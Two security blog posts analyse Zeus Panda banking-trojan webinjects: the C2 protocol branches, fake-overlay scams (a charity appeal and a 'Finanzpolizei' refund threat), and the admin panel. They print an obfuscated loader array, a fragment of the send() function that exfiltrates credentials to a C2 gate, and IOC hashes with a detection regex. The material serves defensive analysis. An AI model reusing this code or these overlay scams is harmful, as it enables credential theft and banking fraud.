Zeus Panda Webinjects: Don’t trust your eyes

In our last blog article Zeus Panda Webinjects: a case study, we described the functionality of current Zeus Panda webinject stages and gave some insight into the corresponding administration panel. As we only scratched the surface of the target specific second webinject attack stage (in the following we reference this as 2nd attack stage), we would like to share more details about this part.

Basically, the 2nd attack stage already includes the complete code needed for the attack. The different code branches are triggered by setting status variables, especially the branch variable already introduced in our previous article on that topic. Last time we also introduced the send() function, which is used to exfiltrate data. send() isn’t entirely unidirectional: the HTTP response of this request includes further code that is evaluated as JavaScript. Thereby the backend is able to set the different status variables to trigger the existing code branches of the 2nd attack stage. Let’s dive into the details of this communication protocol:

Communication protocol and status variables

Figure 1: Communication protocol

Figure 1 illustrates the communication protocol between the 2nd attack stage and the backend server. We see the different steps of the communication, the branches triggered, and the website on which the step occurs. Before going into details, the concept behind the communication is the following:

  1. The current attack state is sent from the client to the backend server.
  2. The backend checks for the current attack state and sets the right response parameters to initiate the next attack stage.
  3. The backend response contains variables to notify the 2nd attack stage (client), which attack branch should be executed next.
  4. The 2nd attack stage evaluates the response variables and triggers the next branch.
  5. This procedure is repeated until the final state of the protocol is reached.

Time to branch

Let’s take a detailed look into the different branches now.

1 The SL branch is triggered at the beginning of the attack, when an infected victim accesses the login page of the targeted online banking, inserts the login credentials and clicks on the submit button. (NOTE: The low level Trojan functions need to trigger an the initial webinject (generic loader) on that website and therefore the URL of the online banking website has to be listed in the trojan config file). The submitted login credentials are intercepted, exfiltrated to the backend (see previous blog post), then the 2nd stage code calls the original login function of the banking or payment website. The backend now registers the new victim, identified by the botid. It returns an empty response to the webinject.
2 At this point, the victim has successfully logged in and has been redirected to the account balance overview page. This triggers the 2nd branch: CP. The CP branch is called multiple times during the attack and transmits general status information of the victim to the attacker. The response of the backend contains status flags to trigger the next step of the attack. At this point here, the backend signals to initiate the attack.
3 The attack signal triggers the 3rd step shown in Figure 1: The TL branch. This branch is used to collect details from all available accounts by using the grabber module. Furthermore, a flag is set to indicate a page reload after the response of the send function has been received. The collected data is then exfiltrated again. The botid is used to correlate transmitted data to existing victim entries in the backend and therefore works as unique identifier for the victim. The server response is empty, but the previously set reload flag now triggers the CP branch again.
4 The CP branch now sends the some information to the backend as  described in Step 2. As the backend has stored a different state for the botid already, the response is different now. It signals the 2nd attack stage that the grabber module has finished and the ats module should start now. This module is used to manipulate account details like the account balance or transaction details. Also some status flags are set to trigger the next branch.
5 The GD branch: This branch is used to collect and exfiltrate account details of the victim. As already described in step 3, the reload flag is used to trigger the CP branch again.
6 The CP branch again submits status information, and the backend now triggers the next step of the attack. Besides some status flags, details about the target account and some fake data is provided. The data is used by the CP branch to display a fake overlay with a message and/or images, to trick the victim into starting a transaction. To that end, the fake overlay is used like in a normal phishing attack. We could observe different kinds of messages, which could be categorized into different modi operandi. (see below).

If the victim fell for the scam, the previously provided data is used to pre-fill the transaction form. Naturally, this data contains a target account for the transaction. This account will be controlled by the attacker somehow, i.e., it most likely belongs to a money-mule.

Additionally, the response from the backend contains fake information to be displayed. Depending on the modus operandi, this information is used to display different transaction details to the victim, then the ones used for the transaction in background.

7 Now the victim is redirected to the overview page for a successful transaction. In combination with the current flag state, this page visit triggers the TL branch of the 2nd stage code. The TL branch is used to collect details from the transaction overview page and exfiltrates them to the backend. This indicates a successful transaction to the attacker. The backend response is empty. The webinject transits into the next state, without the need for further communication with the backend.
8 The last triggered branch is called CG. It creates a copy of the complete DOM of the successful transaction overview page and exfiltrates it to the backend. There is no indication that this data is displayed in the admin panel, thus we assume it is transmitted for debug purposes only.

Modi Operandi

In the following we detail two different exemplary modi operandi, which we could observe during our analysis. The real visible appearance is different, as the webinject makes heavy use of the style-sheets provided by the target website. This is a very straight-forward way to properly brand fraudulent content to match the corporate design of target banks or payment providers. We focus on the content shipped to banking customers.

Charity Fraud: SOS-Kinder


The victim is asked to donate 1€ to an non-profit organization, in this case for SOS children. This mimics the well know internationally active “SOS-Kinderdorf” organization. The German text is well written and does not contain the obvious indications for phishing that we all love and know from the occasional phishing mail, like contorted grammar and a more than flowery vocabulary. No Google Translate in sight, here. To leverage this scam vector, the webinject makes use of the data provided by the backed in Step 6 as detailed above. Using an overlay, the victim is made believe he/she is transferring 1€, but under the hood the amount is change to a much higher value.

The attackers follow a very classic social engineering approach for our part of the world and appeal to the victims helpfulness: Who doesn’t want to help children in need by spending 1€? We refer to this kind of attack as charity fraud.

Refund Fraud: Finanzpolizei


The overlay presents a message to the victim, indicating a transaction has been made to their account. As the victim sees a manipulated version of his account balance, he really believes the transaction has had happen. Furthermore the text indicates a preliminary investigation by the “Finanzpolizei” against the initiator of the transaction. If the victim is not transferring the money back, the text threatens with prosecution by law enforcement for participating in a money laundering scheme.

Finally, all the Google Translate and contextual cluelessness we came to love in the scams out there! Regrettably for the attacker, not all German-speaking countries are actually Germany. (We tried that once, partially, and it was a horrible idea.) An institution called “Finanzpolizei” does indeed exist — but not in Germany. The valid target audience for this scam is thus supposedly to be found in Austria, however, the scam is also actively used in Germany. The German text includes some mistakes and is not as well written as the first modus operandi we have shown above.

In the case at hand, the attackers try to make the victim follow through with a classic refund scam, by threatening legal consequences. As the story works without the need to manipulate the transferred amount under the hood, the fake data needed in the first described modus operandi is not used in this kind of attack. Nevertheless the attack is kind enough to prefill the transaction form with the correct details to ease the transaction for the victim.

Return of the victim

Now let’s assume the victim has been tricked into initiating a transaction by themselves to send their money to the attacker. What happens, if the victim takes a look into his online banking account some time later? As expected, the 2nd attack stage is also prepared for that case: The user is presented the “temporarily unavailable” notification (see Figures 1 and 2 from our previous post) and the login function of the target website is disabled. As long as the status variables are set to the finale state of the described communication protocol, the victim is thus unable to access their account again as long as the backend server is reachable. Even when disabling this blocking functionality, account information like transaction details and total balance are still manipulated. As this manipulations use the originally provided style cheets (CSS) from the target institute, a victim has no way to visibility distinguish between a fake entry and an original one.


Nowadays almost all financial institutes make use of two-factor authentication to protect their users from fraud. The modi operandi used by current banking trojan attacks successfully circumvent this by using social engineering techniques. The victim is tricked into initiating the transaction willingly and happily provides all information needed to confirm the transaction. This is achieved by visible modifications of the website that are indistinguishable from the original website content. The success rate of these attacks is still quite high.

By using a multi-layered attack, it’s also cumbersome for analysts to get an complete insight into the technical details. As soon as the backend server is not available anymore, only the 1st stage of a webinject is accessible on an infected machine. Without the backend server, most of the attack code is not available and therefore some pieces of the puzzle are missing.

These kind of multi-layered attacks have become more and more complex and sophisticated. However, beyond the visual appearance, the code of the original website is modified heavily to make this attacks work and these modifications necessarily leave a footprint. In our fraud detection solutions, we provide our customers with instant visibility into these modification symptoms so they can fare better at protecting their customers’ assets.

Authors: Manuel Körber-Bilgard and Karsten Tellmann

Zeus Panda Webinjects: a case study

Our mothership G DATA runs extensive automated sample processing infrastructure as part of providing up to date protection to their AV customers. At G DATA Advanced Analytics, we have integrated these processes within our own routines in order to maintain the fraud detection solutions we provide to our customers from the financial sector.

We have been observing an increase in Zeus Panda infections recently. When we decrypted the config files from samples of Zeus Panda Banking Trojans that went through our processing this week, we decided to have a closer look at the current features. The low level functionality of the Zeus Panda Banking Trojan is already known quite well, so we focus our analysis on the webinjects. These webinjects are used to manipulate the functionality of the target online banking websites on the client. The one we found here was pretty interesting. As usual, the JavaScript is protected by an obfuscation layer, which substitutes string and function names using the following mapping array:

var _0x2f90 = ["", "\x64\x6F\x6E\x65", "\x63\x61\x6C\x6C\x65\x65", "\x73\x63\x72\x69\x70\x74", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x74\x79\x70\x65", "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74", "\x73\x72\x63", "\x3F\x74\x69\x6D\x65\x3D", "\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64", "\x68\x65\x61\x64", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65", "\x76\x65\x72", "\x46\x46", "\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72", "\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64", "\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x63\x6F\x6D\x70\x6C\x65\x74\x65", "\x6D\x73\x69\x65\x20\x36", "\x69\x6E\x64\x65\x78\x4F\x66", "\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65", "\x75\x73\x65\x72\x41\x67\x65\x6E\x74", "\x49\x45\x36", "\x6D\x73\x69\x65\x20\x37", "\x49\x45\x37", "\x6D\x73\x69\x65\x20\x38", "\x49\x45\x38", "\x6D\x73\x69\x65\x20\x39", "\x49\x45\x39", "\x6D\x73\x69\x65\x20\x31\x30", "\x49\x45\x31\x30", "\x66\x69\x72\x65\x66\x6F\x78", "\x4F\x54\x48\x45\x52", "\x5F\x62\x72\x6F\x77\x73\x2E\x63\x61\x70", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x64\x69\x73\x70\x6C\x61\x79", "\x73\x74\x79\x6C\x65", "\x6E\x6F\x6E\x65", "\x68\x74\x6D\x6C", "\x70\x6F\x73\x69\x74\x69\x6F\x6E", "\x66\x69\x78\x65\x64", "\x74\x6F\x70", "\x30\x70\x78", "\x6C\x65\x66\x74", "\x77\x69\x64\x74\x68", "\x31\x30\x30\x25", "\x68\x65\x69\x67\x68\x74", "\x7A\x49\x6E\x64\x65\x78", "\x39\x39\x39\x39\x39\x39", "\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64", "\x23\x46\x46\x46\x46\x46\x46"];
// ... further script code ...

After deobfuscating this script, the result looks like:

var vars = ["", "done", "callee", "script", "createElement", "type", "text/javascript", "src", "?time=", "appendChild", "head", "getElementsByTagName", "ver", "FF", "addEventListener", "DOMContentLoaded", "readyState", "complete", "msie 6", "indexOf", "toLowerCase", "userAgent", "IE6", "msie 7", "IE7", "msie 8", "IE8", "msie 9", "IE9", "msie 10", "IE10", "firefox", "OTHER", "_brows.cap", "getElementById", "display", "style", "none", "html", "position", "fixed", "top", "0px", "left", "width", "100%", "height", "zIndex", "999999", "background", "#FFFFFF"];
// ... further script code ...

Taking a closer look at the now revealed functionality, we can identify the following features:

  • Browser version check, to add a browser specific event listener (e.g. for Firefox the DOMContentLoaded event is used)
  • Setting some trojan configuration variables like:
    • botid: Unique Identifier of the compromised system
    • inject: URL to load the next attack stage
  • Load and execute further target (bank) specific JavaScript code, as defined in the inject variable.

As it turns out, the first webinject stage is a generic loader to get target specific attack code from a web server. In this context ‘target’ refers to banks and payment service providers. This is not a remarkable fact in itself, as current webinjects tend to load the final attack in multiple stages. But maybe this server also includes further Zeus Panda components. So let’s take a closer look.

Target specific code and examples

After downloading the target specific second stage of the webinject, we were surprised about the actual size of the file: 91.8 KB.

A brief analysis showed a lot of functionality. Some of the functions are generic and work on every website. Others include target specific code, like specific HTML attributes. For example, the webinject uses unique id attributes to identify concrete websites of the online banking target. We are still investigating a lot of the included functionality at the time of writing. For now, we want to give a brief overview of selected parts of the basic functionality.

Figure 1: Flowchart of init function

After loading the target specific JavaScript, the init function shown in figure [Figure 1] is called. First, the function checks if it is on top of the page. If not, the showpage() function is called, searches for the identifier _brows.cap and deletes this DOM element if present. Otherwise the next check function are() is called, which searches for the strings “login”, “password” and “button”. If none of these strings can be found, the get() function is called to check if the user is currently logged in. This is done by checking for the presence of the logout element, which is only available when the user is currently logged in. If not, the already described showpage() function is triggered to clean up. Otherwise the status() function is used to set the status variable to the string “CP”. Afterwards the collected data is exfiltrated via the send() function, described in detail in the next section.

If all target strings were found (“login”, “password” and “button”), the next functions preventDefault() and stopPropagation() are called (left branch of figure 1). This overwrites the the default form action to collect the data the user enters into the form. Additionally the key event of the enter button (key code 13) is intercepted so that the form data is captured regardless of the submit method.

As this implementation is not working in Internet Explorer, the script checks for the presence of the cancelBubble event. If present, a specific Internet Explorer implementation is called, which provides the same functionality as the stopPropagation() function. As in the initial webinject, different code is available to support all major browsers.

After collecting form input data, the function status() is called to set the branch variable. The branch variable defines which action is triggered. In our callflow example (left branch), the value is set to the string “SL” which triggers a visible overlay of the website, indicating to the user that there is a temporary problem with the site. The following examples show two different target variations:

Figure 2: German example for a temporarily unavailable
Figure 3: English example of a different target

Afterwards the send() function is triggered to exfiltrate the collected data.


The next interesting part in the code is the exfiltration function used during this attack stage. The collected information is handed to a function called send():
send: function () {
    var l = link.gate + '?botid=' + _tables.encode(_brows.botid) + '&hash=' + new Date() + '&bname=' + _tables.get('bank');
    for (var i = 0; i < arguments.length; i++) {
        for (key in arguments[i]) {
            l += '&' + key + '=' + _tables.encode(arguments[i][key]);
// ... further code ...
This function simply sets all collected data as GET Parameters and sends a HTTPS request to a PHP backend, defined in the variable link.gate. Depending on the target website, we could observe different parameters and small differences in the construction of the parameter values. The following list gives an overview of identified parameters. This list is not complete and some of the parameters are optional. All parameters are send in plain text to the C2 backend.
Paramter name
botid Unique client identifier
bname Target identifier
hash Timestamp (new Date())
login1 user name
login2 user password
type module type (grabber, ats, intercepts)
param1 start
domain document.location
branch Status to trigger different functionalities
We intend to provide further details in a follow-up post. However, now we need to talk about the backend. Behold the Zeus Panda administration panel:

Admin Panel Details

The webinject code naturally led us to C2 servers and a closer analysis led us to an admin panel on one of the servers we investigated.

Figure 4: Admin-Panel

Figure 4 displays the start screen of the Admin-Panel. Every infected machine is displayed in one row. For every entry the following information is listed:

  1. BotId: Unique identifier for the compromised system
  2. The active module type
  3. Job status of the entry
  4. Login credentials (username/password)
  5. Account status
  6. Victim IP address
  7. Timestamp of infection
  8. Browser version
  9. Target URL (bank)

The top navigation bar lists some available filters like format settings, drop zones and further configuration settings.

The panel is used by the attacker to see new victim machines and available actions. By clicking on the entries, the attacker can view detailed information about the compromised user. For example, details like the account balance of the victim, the amount available for transfer and even the transaction limit can be displayed. Furthermore the attacker can attach notes to the specific victim, to keep track of his fraudulent actions.

Figure 5: Admin-Panel detail view


Banking Trojans are still one of the most valuable sources of income for criminals online. Given the fact that this kind of malware has been developed and optimized for many years, it’s not surprising that we can observe rather a high code quality. With the Admin-Panel, the attacker has a way to manage the compromised machines without the need to know  technical infection details, making this kind of revenue stream accessible also to the technically rather illiterate.

In the follow-up blog post, we will take a closer look into target specific webinject scripts.

Indicators of compromise

1st stage SHA256: d8444c2c23e7469a518b303763edfe5fd38f9ffd11d42bfdba2663b9caf3de06 Loader
1st stage
initial webinject

2nd stage SHA256: a99e2d6ec2a1c5b5e59c544302aa61266bb0b7d0d76f4ebed17a3906f94c2794 Exfiltration
2nd stage
target specific
\.php\?(&?(botid|hash|bname|login1|login2|type|param1|domain|branch)=[^&]*){4,9}$ Exfiltration

Authors: Manuel Körber-Bilgard and Karsten Tellmann